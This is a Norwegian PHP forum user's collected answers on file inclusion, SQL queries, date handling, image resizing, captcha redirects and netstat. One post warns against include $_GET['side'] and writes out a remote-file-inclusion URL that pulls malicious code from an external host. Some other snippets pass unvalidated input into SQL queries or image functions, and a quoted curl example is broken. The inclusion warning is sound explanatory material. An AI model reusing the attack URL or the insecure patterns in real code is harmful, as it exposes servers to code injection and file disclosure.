Gå til innhold

Zandar

Medlemmer
  • Innlegg

    53
  • Ble med

  • Besøkte siden sist

Innlegg skrevet av Zandar

  1. <?php
    // index.php
    include $_GET['side'];
    ?>
    
    <?php
    // side.php
    echo $_GET['text'];
    ?>

    Vist du da går til index.php?side=side.php&tekst=Heisann! så vil index.php inkludere side.php og side.php vil skrive ut Heisann!

     

    Huff.. du må ikke gi folk så usikker kode!!

     

    Koden ovenfor inneholder et kjempestort sikkerhetshull og bør ikke benyttes.

    For det første gir den muligheten til å inkludere enhver fil som brukeren(som webserveren kjører under) har tilgang til. Også utenfor webområdet på serveren.

     

    For det andre så kan include også inkludere kode fra eksterne sider.

    Eks include('http://www.eksternside.com/ondskapsfullkode.txt');

    Dersom ondskapsfullkode.txt inneholder phpkode vil det bli kjørt og utført på serveren som inkluderer fila.

    Dette kan enkelt utnyttes ved å manipulere URL

    www.siden.com/index.php?side=http://www.eksternside.com/ondskapsfullkode.txt

     

    Er vel sagt flere ganger her på forumet, men det kan ikke sies nok. Valider input!!

    Ta en titt på følgende sider for mere informasjon om Code injection og hvordan du kan forhindre det.

    Include File Injection

    Code Injection Vulnerabilities Explained

  2. Her er spørringen min:

     

    $a = "DELETE FROM forum_question WHERE id=\"$rows['id']\"";

     

    Prøv dette isteden

     

    $a = 'DELETE FROM forum_question WHERE id=' . $rows['id'];

     

    Edit: Dersom $rows['id'] ikke er numerisk må du bruke fnutter rundt verdien.

     

    $a = "DELETE FROM forum_question WHERE id='{$rows['id']}'";

    Som du ser kan strengen lages på flere måter. Jeg vil anbefale deg å ta en titt i manualen for å lære deg reglene.

  3. En mulig løsning er å bruke date-funksjonen for å formatere datoen til rett format.

     

    Eksempel på hvordan man henter nåværende dato/tid fra mysql-databasen og formaterer med date().

    $sql = "SELECT UNIX_TIMESTAMP()";
    if($resultat = mysql_query($sql)) {
    if($rad = mysql_fetch_row($resultat)) {
    	echo date("F j, H:i", $rad[0]);
    }
    else {
    	echo 'Fant ingen rader.';
    }
    }
    else {
    echo 'Feil ved spørring: ' . mysql_error();
    }

     

    For at date()-funksjonen skal kunne formatere datoen fra databasen er den nødt til å ha den på heltallsformat, dvs unix-timestamp som er antall sekunder siden 1 januar 1970 00:00:00 GMT. Ta en titt på UNIX_TIMESTAMP() i manualen.

     

    Håper dette hjelper deg til å finne en komplett løsning, og hvis ikke så er det bare å spørre.

     

    Edit: dersom du ikke skal bruke datoen til noe annet enn å vise den så kan det være like så greit å formatere den via spørringen og databasen.

     

    I MySQL har du en funksjon som heter DATE_FORMAT for formatering av datoer.

     

    Samme som forrige eksempel, men formatering foretatt av database

    $sql = "SELECT DATE_FORMAT(SYSDATE(), '%M %e, %H:%i')";
    if($resultat = mysql_query($sql)) {
    if($rad = mysql_fetch_row($resultat)) {
    	echo $rad[0];
    }
    else {
    	echo 'Fant ingen rader.';
    }
    }
    else {
    echo 'Feil ved spørring: ' . mysql_error();
    }

    SYSDATE() i spørringen kan byttes ut med datofelt fra tabell.

     

    Lykke til!

  4. insert INTO crews values('','$ikke','500000','$cookieusername','0','0')

    Dette er feil, du har ikke spesifisert hvilke felter verdiene skal settes inn i.

     

    Det er ikke nødvendig å spesifisere hvilke felter verdiene skal settes inn i, men det er å foretrekke.

    Dersom man ikke spesifiserer hvilke felter som skal settes må man sette en verdi for alle feltene i tabellen. Felter som har en default verdi kan settes med DEFAULT i spørringen.

    F.eks

    insert INTO crews values(DEFAULT, '$ikke', 500000, '$cookieusername', DEFAULT, DEFAULT)

    Dette forutsetter dog at man har gitt de feltene det er snakk om en default verdi i databasetabellen.

     

    Uansett så er det best å spesifisere hvilke felter som skal gis verdi i spørringen og la databasen ta seg av default-verdier.

    Ville bare vise at det ikke er et krav eller feil :)

  5. Du har mest sannsynlig en feil i databasespørringen.

    Se over sql-spørringen din og skriv ut evt feilmeldinger med mysql_error().

     

    F.eks

    if ($resultaat) {
    echo "du lagde gjengen: <b>$ikke</b>";
    }
    else {
    echo 'Det har oppstått en feil ved spørring' .  mysql_error();
    }

     

    Btw. det er ikke nødvendig å bruke fnutter rundt numeriske verdier i spørringen

    $opdracht = "insert INTO crews values('', '$ikke', 500000,'$cookieusername', 0, 0)";

     

    Jeg gjetter at feilen er at du prøver å legge inn verdien '' inn i en pimærnøkkel med autoincrement, dvs første kolonnen i tabellen crews.

    Kan du vise oss tabellen crews med datatyper?

     

    Edit: Så ikke innlegget til Crowly før jeg posta dette...

  6. Tenker du på at det da st¨r "~1 dager...." ?

     

    Det kan i såfall løses på denne måten

    if( date( 'w' ) == 5 ) // Happy nå, Zandar?
    {
    echo "Det er fredag!";
    }
    else
    {
    $next_friday = strtotime( 'next Friday' );
    $diff = ceil( ( $next_friday - time() ) / (60*60*24) );
    echo ( $diff > 1 ) ? "Det er ~{$diff} dager til neste fredag" : "Det er ~{$diff} dag til neste fredag";
    }

     

    Hehe, synes fremdeles du gjør det vel komplisert ;)

    Du bruker 3 forskjellige php dato/tid-funksjoner for å regne ut noe som er enkel matematikk.

     

    Slik ville jeg ha løst det.

    <?php
    
    $dag = date('w'); //returnerer 0(søndag) til og med 6(lørdag)
    
    if ($dag == 5) {
    echo 'Det er fredag!!';
    } else {
    $ant_dager = ($dag > 5) ? 6 : 5 - $dag;
    if ($ant_dager > 1) {
    	echo "Det er $ant_dager dager til fredag.";
    } else {
    	echo 'Det er fredag i morgen!';
    }
    }
    ?>

  7. Var inne på tanken, helt til jeg fant ut at Microsoft bruker andre "navn" på localene. nb_NO i unix er 'nor' i Windows. Derfor hoppet jeg over hele den biten. Av den grunn blir kanskje en kombinasjon av min og dabear sin kode noe som bør fungere overalt.

    Herregud.. hvorfor skal du gjøre det så mye vanskeligere enn det er?..

    Det eksisterer jo allerede en enkel måte å hente ut hvilken dag det er..

    date('w') som jeg nevnte i mitt forrige innlegg gjør nettopp det.

  8. Det er langt i fra så enkelt.

    Hva behager? Koden min funker da, og gjør akkurat det jogil ber om. :)

     

    dabear's løsning er enkel og grei den, men funker kun i PHP 5.1.0 eller nyere.

     

    En løsning som fungerer for flere versjoner er

     

    <?php
    $date = date('w');
    if ($date == 5) {
    echo 'Det er fredag';
    } else {
    echo 'Det er ikke fredag';
    }
    ?>

     

    date('w') returnerer 0(Søndag) til 6(Lørdag) mens date('N') returnerer 1(Mandag) til 7(Søndag)

  9. Regner med at feilen i ditt script er at du har feil path til bildene du prøver å laste inn.

     

    Ser av det du har skrevet at bildene ligger i /galleri/test/ mens galleri_image_resize.php

    ligger i /galleri/.

    Når scriptet tar imot /galleri/test/bilde1.jpg vil det lete i /galleri/galleri/test/ som er feil path til bildet.

     

    Har du forresten feilrapportering påslått? Det kan virke som du ikke har det da du vil få endel feilmeldinger med det på.

     

    På en utviklingsserver bør man ha feilrapportering påslått, eller i det minste legge til denne linja øverst i koden.

    error_reporting(E_ALL);

     

    Hvorfor benytter du deg ikke av koden jeg skrev tidligere? Det er ikke en ulempe å gjøre script litt mere robust mot eventuelle feil som kan oppstå.. Det er også lettere å finne hvor en feil oppstår om man legger inn sjekk på om funksjoner som kan feile returnerer korrekt data som f.eks imagecreatefromjpeg().

     

    Her er en utgave som fungerer og håndterer feil ved manglende bilde eller ugyldig bildeformat.

    <?php
    
    //Sjekke at bilde-url er satt i url
    if (isset($_GET['image']) && !empty($_GET['image'])) {
    
    $src_img = @imagecreatefromjpeg($_GET['image']);
    
    //Sjekke at $src_img inneholder gyldig ressurs
    if ($src_img) {
    	$srcsize = getimagesize($_GET['image']);
    	$dest_x = 300;
    	$dest_y = ($dest_x / $srcsize[0]) * $srcsize[1];
    	$dst_img = imagecreatetruecolor($dest_x, $dest_y);
    	//Resize image
    	imagecopyresampled($dst_img, $src_img, 0, 0, 0, 0, $dest_x, $dest_y, $srcsize[0], $srcsize[1]);		
    	// Output image
    	header("content-type: image/jpeg");
    	imagejpeg($dst_img);
    
    	// Destroy images
    	imagedestroy($src_img);
    	imagedestroy($dst_img);
    } else {
    	echo 'Fant ikke bilde eller ugyldig bildeformat';
    	exit();
    }
    } else {
    echo 'bilde-url eller fil-referanse mangler';
    exit();
    }
    ?>

  10. <?php

    if($side == "hva_du_vil"){

    include "sti_til/hva_du_vil.php";

    }

    else if($side == "hva_jeg_vil"){

    include "sti_til/hva_jeg _vil.php";

    }

    else{

    include "sti_til/hva_vi_vil.php";

    }

    ?>

     

    Lenke blir da: ?side=hva_du_vil

     

    Dette gir riktignok ikke "index.php?page= sider" men er fullt ut brukbart.

     

    Du har glemt å gi $side en verdi her. For at koden skal fungere må du legge til $side = $_GET['side']; før if-setningen.

     

    Når det gjelder index.php?page=sider så henter man ut verdien av page med $_GET['page']

    F.eks.

    <?php
    
    if (isset($_GET['page'])) {
    $page = $_GET['page'];
    echo 'Page: ' . $page;
    }
    
    ?>

  11. Endre denne linjen

    $src_img = imagecreatefrompng($_GET['image']);

    til

    $src_img = imagecreatefromjpeg($_GET['image']);

     

    Har du forresten innstallert GD biblioteket?

     

    Du bør også sjekke at $_GET['image'] er er satt og inneholder referanse til gyldig bilde.

     

    f.eks

    if (isset($_GET['image']) && !empty($_GET['image'])) {
    $src_img = imagecreatefromjpeg($_GET['image']);
    
    //Sjekke at $src_img er gyldig ressurs
    if($src_img) {
    	//endre størrelse på bilde osv...
    }
    else {
    	echo 'Fant ikke bilde, eller ugyldig bildeformat';
    }
    }
    else {
    echo 'bilde-url eller fil-referanse mangler'; 
    }

  12. Feilmeldingen skyldes mest sannsynlig at sql-spørringen din feiler.

    Du bør skjekke at $result inneholder gyldig verdi før du bruker mysql_fetch_array($result)

     

    Har endret litt på koden din og du kan prøve dette:

    <?php
    require ('connect.php');
    
    $kategori = mysql_real_escape_string($_GET['kategori']);
    $result = mysql_query("SELECT * FROM bok WHERE kategori='$kategori' ORDER BY bokID DESC LIMIT 10");
    
    if ($result) {
    echo "<table border=0 cellpadding=2 cellspacing=0>";	
    while ($row = mysql_fetch_array($result)) {
    	echo "<tr>";
    	echo "<td rowspan=3><img height=80 src=bilder/upload/" . $row['bilde'] . "></td>";
    	echo "<td><u><b>" . $row['tittel'] . "</b>, " . $row['forfatter'] . "</u></td>";
    	echo "</tr><tr>";
    	echo "<td>" . $row['tekst'] . "</td>";
    	echo "</tr><tr>";
    	echo "<td>Pris: " . $row['pris'] . " kroner.</td>";
    	echo "</tr>";
    }
    echo "</table>";
    }
    else {
    echo 'Det oppstod en feil ved spørringen. Feilmelding: ' . mysql_error();
    }
    ?>

     

    Regner med at feilen skyldes at du ikke har brukt '' rundt $kategori i spørringen.

    Dersom kolonnen kategori er tekstfelt må du bruke '' rundt verdien i spørringen.

  13. Jeg ville ha gjort det på denne måten.

     

    Opprett en XML fil med

    Navn på plugin

    Filer (altså innholdet på filen komprimert med f.eks base64)

    ...

     

    Eh.. base64 har ingenting med komprimering å gjøre. Faktisk så øker base64 koding størrelsen på innholdet med 33%.

     

    Base64 koding er en måte å kode data på. F.eks benyttes det til å kode data i epost.

  14. Det er ikke mulig å bruke php direkte i flash, men det er mulig å bruke php sammen med flash.

    Flash inneholder ingen php-kompilator, og som nevnt tidligere så benytter det actionscript som script-språk.

     

    Det er flere måter å få flash og php til å snakke sammen og her er noen:

     

    - Bruke LoadVars() i actionscript for å laste inn data fra en ekstern php-side.

    Eks. Flash, PHP, and MySQL Integration

     

    - Overføre data i xml. Flash støtter flere alternativer for å kommunisere via xml.

    Eks. XML(), XMLSocket og XMLConnector komponenten.

     

    - AMFPHP, ett spennende open-source prosjekt som muliggjør "direkte" kommunikasjon mellom php og flash.

  15. Har du mulighet til å bruke CURL?

     

    I så fall kan dette kanskje hjelpe deg på vei.

    Using curl to Query Remote Servers

    <?  
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, 'http://www.example.com'); 
    curl_setopt($ch, CURLOPT_HEADER, 1); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1); 
    curl_setopt($ch, CURLOPT_PROXY, 'fakeproxy.com:1080'); 
    curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'user:password'); 
    $data = curl_exec(); 
    curl_close($ch); 
    ?>

  16. Ga deg følgende kode i en tidligere tråd for å sende bruker til captcha-sjekk hvert 10'ende minutt.

     

    <?php
    session_start();
    if (isset($_SESSION['time'])) {
    $now = time();
    $interval = 600;// 10 minutter gitt i sekunder
    if ($_SESSION['time'] + $interval <= $now) {
    	$_SESSION['time'] = $now;
    	header('Location: http://mafiastreet.to.md/capt.php');
    	die();
    }
    }
    else {
    //Sette sesjonvariabel dersom den ikke er satt.
    $_SESSION['time'] = time();
    header('Location: http://mafiastreet.to.md/capt.php');
    }
    ?>

    Denne koden tar ikke hensyn til om brukeren taster rett kode i captcha, den bare sender brukeren til sjekk hvert 10'ende minutt. Det er derimot enkelt å endre den slik at den tar hensyn til captcha-sjekken.

     

    Lag en ny php-fil og bruk følgende kode. Gi den f.eks navnet captcha_tidsur.php

    <?php
    session_start();
    if (isset($_SESSION['time'])) {
    $now = time();
    $interval = 600;// 10 minutter gitt i sekunder
    if ($_SESSION['time'] + $interval <= $now) {
    	unset($_SESSION['time']);
    	$_SESSION['last_page'] = $_SERVER['PHP_SELF'];
    	header('Location: http://mafiastreet.to.md/capt.php');
    	die();
    }
    }
    else {
    //Lagre hvilken side brukeren er på og send til captcha-sjekk
    $_SESSION['last_page'] = $_SERVER['PHP_SELF'];
    header('Location: http://mafiastreet.to.md/capt.php');
    exit();
    }
    ?>

    Endringene som er gjort er at $_SESSION['time'] ikke lenger blir satt i dette scriptet.

    Altså brukeren vil alltid bli sendt til captcha-sjekken dersom du ikke setter $_SESSION['time'] en annen plass. Dette kan utnyttes ved at du setter $_SESSION['time'] ved korrekt inntastet kode i capctha-sjekken.

     

    Ved å putte koden ovenfor i et eget script slipper du å kopiere koden over i hver side du vil beskytte.Du bare inkluderer fila på toppen av scriptet. f.eks

    <?php
    require ('captcha_tidsur.php');
    ?>

     

    verifier.php må altså endres slik at $_SESSION['time'] blir satt ved korrekt kode.

    Har endret det i koden nedenfor, samt endret scriptet slik at det ikke viser noe html, men sender brukeren videre til ny sjekk ved feil kode eller siste side ved korrekt kode.

    <?php
    $cryptinstall = "./cryptographp.fct.php";
    include $cryptinstall;
    
    if (chk_crypt($_POST['code'])) {
    
    //Sette nåværende tid i session
    $_SESSION['time'] = time();
    
    //Sjekke om siste side er satt i session og sende bruker videre
    if (isset($_SESSION['last_page'])) {
    	//Sende bruker tilbake til siste side han var på
    	$last_page = $_SESSION['last_page'];
    	header("Location: http://mafiastreet.to.md/$last_page");
    	exit();
    } else {
    	//Sende brukeren til hvilken som helst side
    	header("Location: http://mafiastreet.to.md/");
    	exit();
    }
    } else {
    //Feil kode inntastet. Sende bruker tilbake til CAPTCHA-skjema.
    header("Location: http://mafiastreet.to.md/capt.php");
    exit();
    }
    ?>

     

    Har mine tvil om du faktisk skjønner koden, men vil anbefale deg å prøve å skjønne den isteden for å bare kopiere den.

    Er lite inspirerende for meg å hjelpe deg dersom du kun er interessert i å drive et mafiaspill og ikke i å faktisk lære deg php.

     

    Er greit at folk vil lage mafiaspill, men virker som de fleste er lite villige til å lære seg php godt...

  17. Prøv med

     

    <?php
    session_start();
    if (isset($_SESSION['time'])) {
    $now = time();
    $interval = 600;// 10 minutter gitt i sekunder
    if ($_SESSION['time'] + $interval <= $now) {
    	$_SESSION['time'] = $now;
    	header('Location: http://mafiastreet.to.md/capt.php');
    	die();
    }
    }
    else {
    //Sette sesjonvariabel dersom den ikke er satt.
    $_SESSION['time'] = time();
    header('Location: http://mafiastreet.to.md/capt.php');
    }
    ?>

  18. Nå altså... får ikke noe output ved bruk av netstat -ab ! Ingen tilgang får jeg bare opp... Er d vista som fucker med meg nå eller??!

    Netstat -a funker... Men ikke å skrive til c:\310108.txt... Ingen tilgang på nytt...

     

    Prøv netstat -a -b > c:\310108.txt

     

    Eller du kan laste ned en liten hendig applikasjon som heter CurrPorts her:

    http://www.nirsoft.net/utils/cports.html

     

    post-3864-1201787421_thumb.jpg

    (Skjermbilde fra http://www.nirsoft.net/)

     

    CurrPorts gir kort sagt oversikt over alle TCP/IP- og UDP-porter som er åpne, og hvilke prosesser som åpnet de.

×
×
  • Opprett ny...